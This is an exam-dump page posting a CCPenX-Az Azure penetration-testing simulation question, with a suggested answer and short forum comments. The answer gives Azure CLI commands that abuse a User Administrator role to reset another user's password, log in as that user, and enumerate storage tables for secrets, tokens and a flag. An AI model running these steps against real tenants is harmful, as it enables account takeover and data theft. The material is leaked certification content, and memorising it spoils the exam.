Deal of The Day! Hurry Up, Grab the Special Discount - Save 25% - Ends In 00:00:00 Coupon code: SAVE25
Welcome to Pass4Success

- Free Preparation Discussions

The SecOps Group CCPenX-Az Exam - Topic 4 Question 1 Discussion

SIMULATIONUsing the Azure access of the second compromised user, perform lateral movement within the environment to discover sensitive information. What is the flag uncovered during this activity?
A) See the Answer in Explanation below

The SecOps Group CCPenX-Az Exam - Topic 4 Question 1 Discussion

Actual exam question for The SecOps Group's CCPenX-Az exam
Question #: 1
Topic #: 4
[All CCPenX-Az Questions]

SIMULATION

Using the Azure access of the second compromised user, perform lateral movement within the environment to discover sensitive information. What is the flag uncovered during this activity?

Show Suggested Answer Hide Answer
Suggested Answer: A

The answer is the flag found after compromising the target user and enumerating her accessible Azure resources, usually storage/table data.

Detailed Solution:

Since the second compromised user is a User Administrator, abuse that role to reset the password of the target user.

az ad user update

--id lila.nguyen@azuresecops.onmicrosoft.com

--password 'NewP@ssw0rd12345!'

--force-change-password-next-sign-in false

Now authenticate as the target user.

az login -u lila.nguyen@azuresecops.onmicrosoft.com -p 'NewP@ssw0rd12345!'

Confirm the login context:

az account show

Check what Azure resources this user can see:

az resource list --output table

Check role assignments:

az role assignment list --all --output table

If the user has storage data-plane permissions, enumerate storage accounts:

az storage account list --output table

If the storage account is known from the lab chain, use it directly:

az storage table list

--account-name excaliburstore

--auth-mode login

--output table

Query each table:

az storage entity query

--account-name excaliburstore

--table-name <table-name>

--auth-mode login

--output json

A faster method:

for table in $(az storage table list --account-name excaliburstore --auth-mode login --query '[].name' -o tsv); do

echo '===== $table ====='

az storage entity query

--account-name excaliburstore

--table-name '$table'

--auth-mode login

--output table

done

Search the output for:

Flag

SAS

token

container

storage

secret

The flag discovered in this stage is the Q7 answer.

Final Answer:

Use the Flag{...} value returned from the accessible table/storage data after logging in as lila.nguyen@azuresecops.onmicrosoft.com.

================


Contribute your Thoughts:

0/2000 characters
Whitney
1 day ago
Sounds about right, but I’ve seen it in logs too!
upvoted 0 times
...
Sol
6 days ago
I think it’s in the user’s profile folder.
upvoted 0 times
...
Celia
11 days ago
Wait, are we sure this is the right approach?
upvoted 0 times
...
Josue
17 days ago
Totally agree, it's often hidden in unexpected places!
upvoted 0 times
...
Karan
22 days ago
The flag is usually a string of random characters.
upvoted 0 times
...
Crissy
27 days ago
I vaguely remember something about using Azure logs to track user activities, but I'm not confident if that will help in finding the flag here.
upvoted 0 times
...
Walton
1 month ago
I think the flag might be related to a specific resource or user data, but I’m a bit confused about how to navigate through the Azure environment effectively.
upvoted 0 times
...
Shelba
1 month ago
This question feels similar to the practice scenarios we did last week. I think we had to find flags in a similar context, but I can't recall the exact steps.
upvoted 0 times
...
Leonor
1 month ago
I remember practicing lateral movement techniques in Azure, but I'm not entirely sure how to identify sensitive information once I gain access.
upvoted 0 times
...

Save Cancel